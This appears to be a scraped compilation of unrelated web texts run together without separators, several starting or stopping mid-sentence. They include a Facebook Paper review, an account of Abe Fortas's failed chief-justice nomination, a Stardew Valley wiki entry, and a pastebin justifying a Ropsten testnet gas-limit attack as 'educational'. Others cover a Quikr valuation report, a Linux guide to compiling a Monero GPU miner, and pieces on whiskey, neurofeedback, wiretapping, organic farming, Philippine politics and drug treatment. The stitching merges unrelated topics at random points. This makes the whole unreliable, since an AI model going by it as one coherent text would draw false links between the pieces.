As more and more content permeates the social space, it makes sense that Facebook has turned their attention to supporting publishers. In its first iteration of this newspaper-esque app, Facebook introduced Sections. These interest-based news collections feature stories by major news publications and well-recognized brands. While still in its infancy it was clear to us that users were optimistic about the addition of news stories within their Facebook experience. Functionally, they loved that they could easily drag and drop the Sections that most appealed to them into their feed. Ideas ran rampant when it came to how this feature could be improved. If this becomes yet another way for Facebook to promote ‘pay to play’ amongst publishers these feeds may become less relevant to the end-user, but for now they are a hit.
audracasey:
“I also really enjoyed being able to stay in 1 app and view news, sports, tech, photography, etc all in one place along with my Facebook feed. It’s really everything you need to read all located in one place.”
Lesson 4: People are delighted with subtle animation.
With just a flip of the finger users are able to drill-down into content, ‘unfolding’ news stories into a full-screen experience. A resonating ‘Awesome’ from our users. A simple down-swipe and they were taken back to their feed. Easy, effective, and slightly entertaining. Just the way reading the news should be.
benetherington:
“I liked the seamless, smooth feel. It really felt like I was in a sci-fi movie.”
Lesson 5: People want to browse their content distraction free.
It may go without saying, but Facebook Paper shows that content is still king. As with the original Facebook app experience, brand-related content and news stories appear with a name and logo. The recognition is there, but it isn’t in your face. Users really connected with the clean design and simplified interface.
andrea8090:
“This will transform the way I consume news on Facebook. It’s so much easier to read articles, and it feels like it |
—had been denied due process rights. The resulting opinion in Gideon v. Wainwright established the fundamental right to counsel.
LBJ tried on several occasions to convince his friend to accept a cabinet appointment, but Fortas was averse to abandoning his law practice during peak earning years, and his wife, Carol Agger—a prominent tax attorney in her own right—was obdurately opposed to the idea.
Applying the famous “Johnson Treatment,” in 1965 LBJ finally coaxed his friend into accepting an appointment as associate justice of the Supreme Court, where he filled the so-called “Jewish seat” previously held in backwards succession by Arthur Goldberg, Felix Frankfurter and Benjamin Cardozo. Over the next two and a half years, Fortas contributed to building on the Warren Court’s sizable legacy of liberal jurisprudence, including rulings on civil rights, privacy rights and the rights of the accused that infuriated conservatives of both parties who were already unnerved by LBJ’s expansion of the federal welfare state and desegregation of Southern schools, hospitals and places of public accommodation.
In June 1968, some three months after LBJ shook the political establishment by announcing his decision not to seek re-nomination, Chief Justice Earl Warren—fearing that Richard Nixon might win the White House—conveyed to the president his decision to retire. “Johnson saw the court as a means of perpetuating his social reform, particularly racial justice,” recalled domestic policy adviser Joe Califano, years after the fact. “He also wanted the Court to uphold the compromise he had reached with Catholics on funds for parochial schools, as well as his consumer, health, and environmental legislation.” The president expected that all of these issues would “play out in the courts long after he left the White House, and he intended to win them as well after he had gone.”
The plan called for elevating Fortas to chief justice and filling the vacant seat with Homer Thornberry, an appellate court judge, former Texas congressman and longtime Johnson ally. The president anticipated strong conservative opposition to Fortas on two counts: his liberalism, particularly on matters related to race, and his religion. Ignoring the advice of Clark Clifford, who warned that the conservative bloc would never confirm a liberal Jew to the chief justiceship, the president doubled down.
From the start, it all went wrong. Democratic Sen. Robert Byrd of West Virginia, a former Klansman who filibustered the Civil Rights Act in 1964, pledged to do “everything in my power” to oppose the “leftist” Abe Fortas. Russell Long of Louisiana, another segregation stalwart, denounced the nominee as one of the “dirty five” who sought to expand the rights of the accused. James Eastland of Mississippi, an ardent racist and chairman of the Senate Judiciary Committee, told the president that he had “never seen so much feeling against a man as against Fortas.” He might have been thinking in part of his colleague, John McClellan of Arkansas, who ironically wanted that “SOB formally submitted to the Senate” so that he could take the fight public.
As a longtime intimate and former member in good standing of the Southern Democratic caucus, Johnson was firmly convinced that much of its opposition to Fortas stemmed from a toxic blend of anti-Semitism and racism. He urged the president of the American Bar Association to denounce the injection of religious bigotry into a court nomination battle and instructed White House staff to enlist prominent rabbis to lobby senators from states with large Jewish constituencies. With notable Republicans like Robert Griffin of Michigan also in the opposition camp, the White House activated key industrialists including Henry Ford II and Paul Austin, the president of Coca Cola, to apply pressure where needed.
Matters came to a head when Fortas appeared before the Senate Judiciary Committee for his confirmation hearings. Though a skilled litigator and no stranger to bare-knuckle politics, he was unprepared for the force of opposition with which his nomination met.
Committee members relentlessly attacked Fortas for his role in shaping key Court decisions that liberalized criminal rights and public obscenity laws—proxy issues in the broader political debate over race, poverty and counter-culture. In the face of such hostile charges, the nominee was left in a frustrating position; as a sitting member of the Court, he was compelled by tradition to demur on questions concerning past and pending court rulings.
Today’s Republicans consider as binding the so-called “Thurmond Rule”—a vague, non-statutory, largely undocumented position associated with exactly one former United States senator (Strom Thurmond), whom they claim opposed Fortas’ nomination on the grounds that LBJ was a lame-duck president. In fact, presidents don’t become lame ducks until their successors are chosen, and in 1968, Thurmond participated wholeheartedly in the nominee’s confirmation process. Like other conservatives, Thurmond opposed Fortas for a great many reasons that had nothing to do with the president’s right to nominate him and everything to do with resentment over the Warren Court’s liberal leaning and a rearguard defense of “states rights,” a term that was still freighted with ugly and unmistakable meaning in 1968.From Stardew Valley Wiki
Junimo Hut Junimos will harvest crops around the hut for you. Information Build cost: 20,000g 20,000g Build materials: Stone (200) Starfruit (9) Fiber (100) Size: 3x2
The Junimo Hut is a type of building purchasable from the Wizard at the Wizard's Tower after finishing the Goblin Problem Quest.
The hut houses Junimos, who live on the player's farm and harvest any fully-grown crops that are within the hut's vicinity.
Harvesting
A Junimo Hut will let out three Junimos every morning. Each Junimo will harvest crops by picking them one at a time until all nearby crops are harvested. The range of a hut is a 17x17 area centered on its doorway. This is 8 spaces in each direction, but the building's footprint covers one space to each side and above. This means that each junimo hut covers a total of 289 tiles, or 283 counting the hut’s footprint.
Junimos will not collect crops in the rain.
If the entrance to the hut is obstructed, the Junimos may be unable to gather crops.
Junimo harvesting can be turned off by clicking on the Hut then clicking on the button depicting a green junimo harvesting a blueberry.
Crops
Junimos will not collect crops grown from Wild Seeds. They will collect flowers, plants requiring a scythe, and crops physically unreachable to the player because they're blocked by trellises.
Players will not be able to plant seeds on a tile if a Junimo is standing on it.
Collection
Players can retrieve crops from the hut whenever they'd like. A bag tied with a purple ribbon outside of the hut indicates that there are crops available for collection to the player, and it disappears after all goods are collected.
This bag may hold up to 36 items, and behaves as though it were a Chest, in that players may take out or put things into it. With so much capacity, if you are harvesting only one kind of crop, then you will only need to collect from the chest once every season. If all 36 spaces in the bag are filled, the crops that the Junimos harvest will be dropped on the ground.
Notes
It's not necessary to have 9 Starfruit of the same quality in order to build a Junimo Hut. The game will count the total number of Starfruit that you have in inventory.
Junimos continue to gather while you're not at the farm, however if you end the day before they finish gathering then the remaining crops within the vicinity of the hut are not automatically retrieved.
Junimos are inefficient harvesters and may not harvest all ready produce within their area in a single day. Obstacles can also lower their efficiency.
Junimos stop gathering at 7:10pm and when you attend a festival.
You do not gain any Farming experience skill points when Junimos harvest your crops for you.
The appearance of the Junimo Hut changes based on the season.
Gallery
An example of distance.
A Junimo harvesting a Pumpkin.
Using a Junimo Hut for Trellis Crops.Untitled a guest Mar 13th, 2017 391 Never a guest391Never
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rawdownloadcloneembedreportprint text 1.71 KB Ropsten was only an unfortunate side effect of the experiment.. to show that ethereum must trust the miners to respect them. it does not even take 51 percent of miner power to raise the gas limit. Bitcoin has had a massive issue about raising the block size from 1 MB.. and this issue has given ethereum a doom which can not be fixed at least with the apparent good community.. will explain that later. Ok my plan was to raise the gas limit so high that it would no longer be able to process transactions.. but i did not plan it all out.. it did not all go to plan and i am not some attacker i simply send transactions for education What happened though was not what i wanted.. the plan was to break it get it noticed show the flaw in the network and then fix it back to what it was proving that the miners owned the network.. however it was not possible parity forked up the network so it rejected the clean chain i was pushing.. nodes crashed to badly handled state.. So.. it was just a test network.. no hard feels but i got the data i needed.. and i think all learned something about how we trust miners not to trash the network.. just educational and demonstration of how ethereum has some issues with the state and block limit.. will be releasing my c evm compiler once i get more optimizations and data.. I do say that main network is safe from this issue so no worries.. so better methods exist Sorry to the developers having to code a new test network.. but i think it is good for long term.. pow only works with money to mine.. Nothing is unsinkable.. just put enough weight it will sink.. but make it well and you dont worry.. says main network can be broken.. but not as easy run as test network I like turtles!
RAW Paste Data
Ropsten was only an unfortunate side effect of the experiment.. to show that ethereum must trust the miners to respect them. it does not even take 51 percent of miner power to raise the gas limit. Bitcoin has had a massive issue about raising the block size from 1 MB.. and this issue has given ethereum a doom which can not be fixed at least with the apparent good community.. will explain that later. Ok my plan was to raise the gas limit so high that it would no longer be able to process transactions.. but i did not plan it all out.. it did not all go to plan and i am not some attacker i simply send transactions for education What happened though was not what i wanted.. the plan was to break it get it noticed show the flaw in the network and then fix it back to what it was proving that the miners owned the network.. however it was not possible parity forked up the network so it rejected the clean chain i was pushing.. nodes crashed to badly handled state.. So.. it was just a test network.. no hard feels but i got the data i needed.. and i think all learned something about how we trust miners not to trash the network.. just educational and demonstration of how ethereum has some issues with the state and block limit.. will be releasing my c evm compiler once i get more optimizations and data.. I do say that main network is safe from this issue so no worries.. so better methods exist Sorry to the developers having to code a new test network.. but i think it is good for long term.. pow only works with money to mine.. Nothing is unsinkable.. just put enough weight it will sink.. but make it well and you dont worry.. says main network can be broken.. but not as easy run as test network I like turtles!Bengaluru: At a time when a slowdown in funding has stoked concerns of a downslide in valuations of large consumer Internet firms, online classifieds portal Quikr’s valuation surged 3.5 times in the 12 months between 31 December 2014 and 31 December 2015, according to an annual report published by its Swedish investor AB Kinnevik on Thursday.
Kinnevik, which holds a 19% stake in Quikr, marked the fair of value of its holding in the company at $186 million on 31 December, which implies that Quikr’s valuation was $979 million. It marks a 257% increase from Kinnevik’s stake value of $52 million as of 31 December 2014.
Founded in 2008 by Pranay Chulet and Jiby Thomas, Quikr is one of the best funded home-grown consumer Internet start-ups. The company has so far raised $346 million from investors such as Tiger Global Management, Warburg Pincus and Norwest Venture Partners, among others.
It last raised a $150 million round in April 2015 from Kinnevik, Tiger Global and Steadview Capital.
According to the Kinnevik report published on Thursday, Quikr has 4.2 million listings on its platform. The company has so far invested $107.5 million in Quikr.
“The valuation of Kinnevik’s shares in Quikr was based on the value implied by cash transactions made in secondary Quikr shares with various preferential rights in July 2015 at a valuation of $900 million. The size of the transactions, approximately 6% of the company’s diluted share capital at that point in time, was considered sufficiently large to be applied to Kinnevik’s entire shareholding in Quikr," the company said in the annual report.
The Times of India reported the development on Friday.
Quikr’s valuation surge comes at a time when investors have increasingly become cautious about infusing more capital into start-ups, which has led concerns about valuations.
For instance, in February, Morgan Stanley Institutional Fund Trust marked down its investment in Flipkart Ltd by 27%, from $80.6 million in June 2015 to $58.9 million on 31 December.
This implies that the fund valued Flipkart at $11 billion, as against $15 billion in June when the company raised $700 million from Tiger Global Management and Qatar Investment Authority, among others.
Quikr’s valuations seem disproportionate to its revenue. Quikr reported sales of ₹ 24.78 crore for the year ended 31 March 2015, according to documents with the Registrar of Companies.
Classifieds platforms such as Quikr are given more generous valuations because of a large customer base that can potentially be monetized in future through advertising and the winner-takes-all nature of the business.
In January, Quikr bought online real estate portal Commonfloor (maxHeap Technologies Pvt. Ltd) for $120 million to penetrate deeper into the real estate sector.
The company is also growing beyond a listing platform to a one-stop shop for used goods by enabling payments on its platform, as well as facilitating logistics, a move which is likely to throw open additional revenue channels at a time when the slowdown in external funding is prompting start-ups to reduce cash burn and focus on profitability.
Quikr has identified five key business segments—automobiles, real estate, jobs, services and customer-to-customer sales—to focus on, in an attempt to explore new sources of revenue and fend off competition from other venture capital-backed businesses that have emerged in each of these categories.
The company currently has revenues flowing in through third-party advertisements, lead generation for car dealers and real estate brokers and paid listings by sellers.
As a classifieds portal, Quikr has just one rival: OLX, which is backed by Naspers Ltd, a South African mass media company. However, each of the verticals the company plans to focus has seen the emergence of a number of well-funded start-ups.
In the automobile segment, Quikr competes with the likes of CarDekho and CarTrade, while the real estate segment has businesses such as Housing, Magicbricks and PropTiger, among others. Similarly, the hyperlocal services segment has deep-pocketed start-ups such as Housejoy and UrbanClap, while in the jobs category, the likes of Babajob and AasaanJobs compete with Quikr.While the above video demos the graphics and gameplay of Lugaru, the following video will give you more detailed instructions on how to play. The learning curve to Lugaru is steep, but this video should help a lot. Be sure to subscribe to Wolfire's YouTube channel!
Lugaru's primary feature is its unique combat system. Instead of relying on confusing button combinations to perform moves, Lugaru's moves are all logical and context sensitive. For example, if an opponent aims a roundhouse kick at Turner's head, you can crouch and then stand up under the attack to grab your assailant's leg and kick him away. If you try and punch an opponent and he tries to throw you over his shoulder, you can crouch to roll painlessly out of the throw. This new combat system makes fights look and feel much more intense and believable than in any other game. You can see it in action with the gameplay movies above.
However, if straight close-range combat with hands, knives, swords and staves is not your style, you can also use stealth, but you have to be smart about it. If you cut a wolf's throat, be sure to wipe the blood off your knife or another wolf might smell it. Enemy rabbits have very keen hearing, so be sure to walk quietly, and kill enemies before they make too much noise or run to alert their friends. Also, if they do bring their friends, don't expect them to stupidly take turns fighting you. It is not unusual for one enemy to sweep your feet out from under you and another to smash you while you fall.
Because of the emphasis on gameplay, the graphics are designed to let the game run as smoothly as possible. It should run at full speed at full detail on any system with a 700 MHz processor and Geforce 3 or better graphics card. It should run acceptably on any system with a 300 MHz processor and Rage 128 or better graphics card. While models do not have as many polygons as in some new commercial games, there is an unprecedented amount of detail where it actually matters. If an enemy shatters his staff on your skull then your vision will unfocus slightly for a few seconds. Jumping through trees creates a shower of leaves (and snow if it is in a cold area). Landing an especially solid blow to the head can spatter blood on the wall and knock out a couple teeth. If you throw a knife into a wolf, blood will drip down his fur as he yanks out the knife and uses it against you. It is even possible to smash enemies so hard into walls that the surface cracks. Motion blur makes fast movement easier to track.
Technical Features:
Fast terrain engine with texture blending, footprints, and transparent fog
Unique fast-paced combat system with weapons, attack reversals, and counter-reversals
Skeletal animation with rag-doll physics and hand and face expressions
Motion blur and many other effects.I was playing around with Monero crypto-currency mining this weekend and was able to easily get the CPU miner working on my Fedora 25 workstation. I wanted to use my GPU as well since I recently upgraded to an NVidia GTX 1060 and thought it’d be more efficient than CPU only mining. I only found GPU mining software for Windows on the Monero mining page but I did find this blog post after some Google searching. So, I followed the instructions and installed CUDA (I already had the proprietary NVidia drivers installed). I tried to compile the miner but it errored out complaining that “unsupported GNU version! gcc versions later than 5 are not supported!” I figured I was smarter than the system so I opened up the miner.h file and changed the following:
#if ((__GNUC__ > 5) || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3))
to:
#if ((__GNUC__ > 9) || (__GNUC__ == 8 && __GNUC_MINOR__ >= 3))
It was brute force but it get me a bit further… Problem was, I could now get further into the compile but now there were tons of other errors spewing at me. Figuring there must have been some serious changes from the 4.x to 6.x versions of gcc and g++, I Googled to see if there was a way to force backward compatibility. I found the following flags:
-Xcompiler -std=c++98
I opened up the Makefile and added the above options to the following line:
$(NVCC) -g -O2 -I. -Xptxas "-abi=no -v" $(NVCC_GENCODE) --maxrregcount=80 --ptxas-options=-v $(JANSSON_INCLUDES) -o $@ -c $<
So it ended up looking like:
$(NVCC) -Xcompiler -std=c++98 -g -O2 -I. -Xptxas "-abi=no -v" $(NVCC_GENCODE) --maxrregcount=80 --ptxas-options=-v $(JANSSON_INCLUDES) -o $@ -c $<
I then re-ran make and the software compiled as expected. I tested it out by running:
./ccminer -o stratum+tcp://monerohash.com:3333 -u 42kiF5wF2hFBfUgfGHnkTEFp375wKoXeP6rJG7tf8MnhY5HNiHgAd7GP9GgSfPkqTf25R6qgBskDmHEpN2RRvxhd4BwXma8 -p 1
Its working as expected. Here is some output:
[2017-01-03 16:44:37] Pool set diff to 40541.1
[2017-01-03 16:44:37] Stratum detected new block
[2017-01-03 16:44:38] GPU #0: GeForce GTX 1060 3GB, 395.58 H/s
[2017-01-03 16:44:55] GPU #0: GeForce GTX 1060 3GB, 379.13 H/s
[2017-01-03 16:44:55] accepted: 28/28 (100.00%), 379.13 H/s (yay!!!)
[2017-01-03 16:45:07] Pool set diff to 65541
[2017-01-03 16:45:07] Stratum detected new block
[2017-01-03 16:45:08] GPU #0: GeForce GTX 1060 3GB, 398.29 H/s
[2017-01-03 16:46:09] GPU #0: GeForce GTX 1060 3GB, 396.61 H/s
If this helped you get your GPU miner up and running, feel free to send me some Monero. My wallet address is in the command above! Happy mining. 🙂But Mr. Tate was unhappy tilling the bureaucratic fields and left to try his hand at information technology consulting. On the side, while caring for a growing family (he has five children), he began to dream of turning his love for home brewing into a business; when it became obvious that Texas was flush with new breweries but had almost nothing in the way of distilleries, he decided to make whiskey instead.
In 2008, with an initial investment from Stephen Germer, a local businessman, Mr. Tate opened Balcones — named for a geological fault zone that runs about 450 miles from South Texas to near Waco — in a dusty former welding shop just west of the Baylor campus.
Mr. Tate took an idiosyncratic approach to making whiskey, even for a start-up distillery. Instead of buying stills from Kentucky or Scotland, which could easily have cost over $100,000 each, he designed and built his own. He used local blue corn instead of buying in bulk from a commodity grain supplier. He even made his own barrels.
A compact man with a receding hairline and a thick, meticulously brushed beard, Mr. Tate seemed to revel in a swaggering nonconformity. More than one person mentioned that he kept a loaded pistol in the distillery. (“It’s Texas,” Mr. Tate told me.)
“He was very bold,” said Lew Bryson, the author of “Tasting Whiskey” and a longtime beer-and-spirits journalist. “He’s not trying to make whiskey like other people make whiskey.” Mr. Bryson recalled that the first time they met, Mr. Tate said he made the best whiskey in the world.
The effort and passion paid off: Mr. Tate’s whiskey was a hit almost from the moment it landed on shelves in 10 states in 2010. His first release, a young whiskey called Baby Blue, won a double gold, the highest honor in its category, at the prestigious San Francisco World Spirits Competition. Soon his stills were running almost nonstop, and he was adding employees every month.
If Mr. Tate was the right man for the job, he also arrived at the right time. After declining for nearly 30 years, American whiskey sales were up 34 percent from 2008 to 2013, according to the Distilled Spirits Council of the United States, and up more than 100 percent for super-premium whiskey of the sort that Balcones specialized in. That growth has also spurred an expansion in the number of small, craft distilleries. When Mr. Tate founded Balcones, there were about 100; today there are nearly 500.Share
Often the stuff of science-fiction fantasy, instant learning via digital communication with a subject’s brain (a la The Matrix) is not only possible, but scientists have already had some success with test subjects.
Dubbed “Decoded Neurofeedback,” the computer-assisted learning hasn’t taught anyone kung fu (yet), but it has resulted in long-lasting improvement in tasks that rely on visual performance — such as playing a musical instrument or catching/hitting a ball.
According to the National Science Foundation, decoded neurofeedback involves the use of functional magnetic resonance imaging interpreted through the subject’s visual cortex. The information decoded by the subject’s brain instructs it to match a certain state of activity that allows for better performance on visual tasks.
It’s a little complicated, sure — so here’s how the press release explains things:
Think of a person watching a computer screen and having his or her brain patterns modified to match those of a high-performing athlete or modified to recuperate from an accident or disease. Though preliminary, researchers say such possibilities may exist in the future.
And while that’s all well and good, the report suggests that there are some ethical considerations that need to be addressed before the research progresses.
What sort of considerations?
Oh, just the data suggesting that the subject doesn’t even need to be aware that he or she is having their brain activity altered in order for decoded neurofeedback to work its magic.
“The most surprising thing in this study is that mere inductions of neural activation patterns corresponding to a specific visual feature led to visual performance improvement on the visual feature, without presenting the feature or subjects’ awareness of what was to be learned,” said [lead author and Boston University neuroscientist Takeo] Watanabe, who developed the idea for the research project along with Mitsuo Kawato, director of ATR lab and Yuka Sasaki, an assistant in neuroscience at Massachusetts General Hospital. “We found that subjects were not aware of what was to be learned while behavioral data obtained before and after the neurofeedback training showed that subjects’ visual performance improved specifically for the target orientation, which was used in the neurofeedback training,” he said.
Yeah, so as cool as it might be to learn kung fu via decoded neurofeedback, there’s also the chance you could learn to bark like a dog on command — which might not be as cool.
(Hat-tip to io9 for the link to this report.)Internal government documents obtained by the Electronic Privacy Information Center have revealed that the US Department of Justice is secretly helping AT&T and other service providers evade wiretapping laws so that the US government can conduct surveillance on parts of their networks. The legal immunity comes from authorizations granted by the Justice Department through special "2511" letters that absolve carriers in the event that the surveillance is found to run afoul of federal law.
The authorization program began as a narrow cybersecurity effort to monitor government defense contractors, but has been expanded to cover critical infrastructure like energy, finance, and health care, CNET reports. Normally, the Wiretap Act prohibits such eavesdropping, unless it's necessary to the functioning of the service or unless the user gives his or her consent to be monitored. EPIC's executive director Mark Rotenberg says "Alarm bells should be going off."
"Alarm bells should be going off."
But rather than changing the law, the secret authorizations simply allow the service provider to enter an agreement with the Justice Department ensuring that they won't be prosecuted. Besides AT&T, at least one other company appears to have taken part int he program, CenturyLink. Reached for comment by CNET, a Department of Homeland Security spokesperson said, in part, "In order to protect privacy while safeguarding and securing cyberspace, DHS institutes layered privacy responsibilities throughout the department, embeds fair practice principles into cybersecurity programs and privacy compliance efforts, and fosters collaboration with cybersecurity partners."
It won't be the first time that AT&T cooperated so directly with law enforcement. It was given retroactive immunity for its role in NSA surveillance programs under the FISA Amendments Act of 2008. That law was passed two years after AT&T technician Mark Klein revealed evidence that the telecom had cooperated with the NSA, installing routing equipment inside a secret room at a network hub in San Francisco.
CISPA would formalize the program
Several court cases have attempted to challenge these surveillance activities, but so far none have resulted in a constitutional ruling. What's more, the secret 2511 authorizations may not even be necessary in the near future: if signed into law, CISPA, "would formally authorize the program," CNET reports.
AT&T, Verizon, and other service providers have unsurprisingly expressed their support for CISPA, while President Obama has threatened to veto the bill if adequate privacy protections aren't added. Whether or not he keeps his word, however, the leaked documents show that the ability of telecoms and the US government to intercept communications without a warrant or legal blowback is becoming increasingly entrenched.
This post previously omitted CenturyLink's involvement. It has also been updated to include comment from the DHS and clarification on CISPA.Picking organic basil. Photo by Organic Farming Research Assocation
A Europe-based research team made headlines last week with its conclusion that organic farming can feed the world after all. However, few people took the time to read the small print in their paper, which shows that the researchers’ conclusion depends on several highly questionable assumptions.
“A worldwide conversion to organic farming can contribute to a comprehensive and sustainable food system, if combined with further measures,” read the lead of the press release issued by the Research Institute of Organic Agriculture, whose staffers led by Adrian Mueller made up most of the co-authors of the accompanying paper, Strategies for feeding the world more sustainably with organic agriculture.
Mueller et al. use a food systems computer model to assess the environmental impacts of a theoretical conversion of world agriculture to 100 percent organic. This shows, based on estimates culled from the existing scientific literature, that global organic conversion would lead to a 16-33 percent increase in land use, with a corresponding 8-15 percent increase in worldwide deforestation.
So how do the authors achieve their headline conclusion? By combining a worldwide conversion to organic agriculture with a heroic parallel worldwide conversion to vegetarianism, allowing them to assume (in some scenarios) a 100 percent reduction in land-area competition from animal production. This is combined with a similarly heroic 50 percent reduction in global food waste.
The flaws in this logic are readily apparent. It is like arguing that smoking is good for your health if you reduce your exposure to other carcinogens sufficiently to offset the higher chance of cigarettes giving you lung cancer. Well, OK, but wouldn’t it be better to not smoke and also avoid the other carcinogens too?
In other words, what the researchers actually show is that 100 percent conversion to organic can only feed the world if two frankly impossible other conditions are met. That gives a very different headline from the one they chose to lead their study with.
The problem is that however desirable vegetarianism might be both environmentally and for human health, global consumption of animal products is going up not down as developing countries achieve higher standards of living. And the food waste issue is incredibly complex and intractable. Just think how much food each one of us throws away and why.
A better option would surely be to retain the yield and land-use improvements of conventional agriculture, and combine these with efforts to reduce waste and increase vegetarian diets in order to spare even more land for nature. With habitat loss being the major cause of biodiversity declines, this is surely the most environmentally-friendly approach.
But the Mueller et al. paper carries another potentially even more fatal flaw, one that the authors do not sufficiently address. Most of the literature on which their model is based assumes the continued existence of what I call laundered nitrogen, which seriously biases existing assessments of organic vs. conventional crop yield gaps.
This happens because the vast majority of existing organic crops depend on imported nitrogen laundered from animal manures. This nitrogen is ultimately derived from artificial fertilizers used to grow crops to feed the animals on conventional farms. In a worldwide organic scenario envisioned by the researchers, this would not be possible, so the nitrogen scarcity would be critical.
This would lead to worldwide famine. In one of the few attempts to quantify this impact properly, Vaclav Smil concluded that only about half the current world population can be supported without the Haber-Bosch process for artificial nitrogen fixation. Mueller et al. do show a substantial nitrogen deficit for a 100 percent organic planet, but argue that this is a good thing because it reduces greenhouse gases and pollution of water systems.
Organic farms benefit from ‘halo effect’ in controlling pests. Photo by Genetic Literacy Project
A similar challenge applies for synthetic pesticides, which are noisily avoided in organic farming. To my knowledge, none of the published studies account for the halo effect of existing synthetic pesticide use, which helps protect neighboring organic farms from severe pest outbreaks by area-wide suppression of pest populations.
The same goes for diseases. Currently the biggest threat to global harvests is probably wheat rust, a devastating fungal disease of wheat. Rust is now controlled by the application of fungicides. Without these chemicals huge outbreaks of rust would likely occur, and the spores would travel great distances on the winds, quickly affecting harvests globally.
Organic farmers can use non-synthetic pesticides such as copper and sulphur-based compounds (which can, in fact, be more toxic than their synthetic alternatives, though that’s a different story), but these products would struggle to prevent worldwide food shortages.
As with nitrogen, most existing assessments of organic farming productivity, as the Australian agricultural scientist David Connor has written, “confuse yield of individual crops with that of production systems.” In reality, as Connor argues, a 100 percent organic planet would either mean halving the world’s population or doubling cropland use. Famine or environmental devastation you decide!
Ironically, organic practitioners have rejected what might be the only way of getting out of this conundrum. As Michael Le Page has pointed out in New Scientist: “This divide will become ever greater in the future, because the organizations that set the rather arbitrary standards for what counts as ‘organic’ have firmly rejected the technology showing the greatest promise for reducing farming emissions: genetic modification.”
The examples are many and obvious. Blight-resistant potatoes, now available in Canada and the US and close to becoming available elsewhere, allow for blight control with less fungicide applications. Insect-resistant Bt crops, which have been around for decades, have led to big drops in insecticide applications.
GMOs have therefore likely already done far more to reduce pesticide use than organic farming while not having the drawback of lower yields although I’m not aware of anyone having published an explicit comparison.
And developments in prospect could help even more. Here at the Alliance for Science we have already written about how boosting photosynthesis with genetic tweaks could drastically increase crop productivity, and how researchers are aiming for staple non-legume crops that could fix their own nitrogen.
Organic organizations have unfortunately also come out against new gene editing techniques, although bizarre organic standards allow the use of seeds developed using the much blunter instruments of radiation or chemical mutagenesis.
In a logical world, organic and conventional farms would be able to cross-fertilize and learn from each other while benefiting from scientific innovations such as genetic modification. Regrettably, the polarizing effect of the organic label continues to be a hindrance rather than a help in the search for more sustainable agriculture.'No one can declare me a persona non grata,' says lawmaker, vows to sue provincial officials
House Majority Leader Rudy Fariñas and Ilocos Norte Governor Imee Marcos. Composite
The Ilocos Norte Provincial board on Tuesday declared House Majority Leader Rudy Fariñas persona non grata, a move that local officials made as the House of Representatives continued to hold six provincial officers for their alleged refusal to cooperate in an inquiry that the Ilocos lawmaker had initiated.
It is the latest episode in a political war between Fariñas, a long-time Ilocos politician, and Ilocos Governor Imee Marcos, who are seen headed for a showdown in the next elections.
Seven members of the provincial board supported Board Member Toto Lazo's resolution to declare Fariñas unwelcome in his home province.
Lazo said Fariñas did not follow the rule of law when he accused the capitol of misusing P66.4 million in tobacco excise tax funds to acquire vehicles more than five years ago. He also questioned the move to detain six provincial officers for failing to answer questions at the House inquiry.
The House committee on good government and public accountability cited the six in contempt for "refusing to answer questions" and being "evasive" at the hearing.
The House has refused to let go of the detained officers despite a release order from the Court of Appeals.
Those who supported Lazo's resolution were Da Vinci Crisostomo, James Paul Nalupta, Mariano Marcos, Paul Baltazar, Donald Nicolas, Ramon Gaoat and Rogelio Balbag.
Board members absent at the session were Fariñas' daughter Ria, Conrado Respicio, Domingo Ambrocio, and Matthew Manotoc, the governor's son.
The copy of the resolution will be forwarded to the Office of the President, Senate President Aquilino Pimentel III, and |
N/A Observed N/A N/A N/A F6 AWD Cannot be observed Cannot be observed Rockstar Games Social Club Speed Acceleration Braking Traction
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Variants
Dune Grand Theft Auto Online See full article > Description The Dune is a rally converted variant of the GTA Online rendition of the Brickade. It shares the initial chassis and cab compartment with the Brickade. It is lifted and features a storage unit in place of the command post compartment found on the Brickade. This vehicle was added in the continuation of the Cunning Stunts update.
Locations
The Ballad of Gay Tony
The van is notable in the game for being normally inaccessible in gameplay, and as a result, can only be accessed via trainers or specialized savegames. It is unknown why the Brickade is not used in any mission in the game. Although files exist that completely specify the vehicle's performance, sound, and design, the Brickade cannot be found anywhere in the game.
Grand Theft Auto Online
Can be purchased from Warstock Cache & Carry for $1,110,000. Note that the vehicle will only be available in a grey color, despite the files suggests more color combinations.
Can appear in the Special Cargo mission when selling crates.
Trivia
General
The Brickade's name would be derived from the word "Brick", which clearly describes this vehicle as "squared, bulky and heavy".
The Ballad of Gay Tony
The BradyGames guide features the Brickade despite its unavailability. Even though the vehicle is only obtainable by modifications, the vanilla Xbox 360 and PlayStation 3 guides also feature it. This is probably listed earlier before removed during the development.
Despite featuring a meshed frontal windscreen, the player can still be thrown through the Brickade's windscreen in a high-speed collision.
As with many vehicles with textures, the colors are actually applied on the trimmings of the vehicle's doors.
Grand Theft Auto Online
Similar to the Phantom and many MTL trucks, the Brickade's badges incorrectly refer to the engine as a "V24", where it actually means "24 valved", which is supposed to be written as "24v".
Although the Brickade is branded as MTL, it was referred as an HVY vehicle in the GXT (in-game) name upon release. This was later patched in the Cunning Stunts update, therefore the Brickade is correctly referred as an MTL vehicle.
The interior of the rear compartment is nothing but a dark texture that is placed right below the windows. The lower half has no textures, so if a player manages to get in there, they will see the surroundings.
See Also
Mobile Operations Center - A trailer with a usable command centre available.
Benefactor Terrorbyte - A similar-sized truck with a functional nerve center.
Depiction of the Brickade by GTASeriesVideos on YouTube.The past few months have seen a wide variety of political leaders extolling the virtues of drug treatment over incarceration. Major Republican figureheads are now on the bandwagon – perhaps none more voraciously than Chris Christie, who recently announced at a summit on addiction destigmatisation, “There but for the grace of God go I – that’s how I look at addiction.” He has also offered a solution: “When you give people the tools to save their own lives, that’s God’s miracles happening in their own lives.”
What are those tools? One of Christie’s triumphs is a 2012 bill that allows New Jersey counties to impose mandatory sentences to drug court – in other words, forcing non-violent drug offenders to enter treatment in lieu of jail time, whether they want to or not. It’s a strategy that’s been hailed by Democrats and Republicans across the country as an ideal alternative to incarceration for drug users. However, when it comes to crime, punishment and public health problems, quick fixes are rarely the most effective solutions. The drug treatment mandate is no exception.
While the shift toward mandatory treatment is certainly an improvement over incarceration for people incarcerated for non-violent drug offences, mandatory treatment often still involves uprooting and confining people in an ostensible effort to make society safer. Even when it comes to treatment programs that don’t mirror the isolation-driven practices of prison, the mandate fuels a situation in which the state dictates what people are doing with their time, their bodies and their life choices. And mandates like these disproportionately dictate the choices of people of colour: though white people are more likely to use drugs, black people are more likely to get arrested for them.
If we are really striving for a public health approach to drug-related problems, addiction treatment must always be an option, not a mandate.
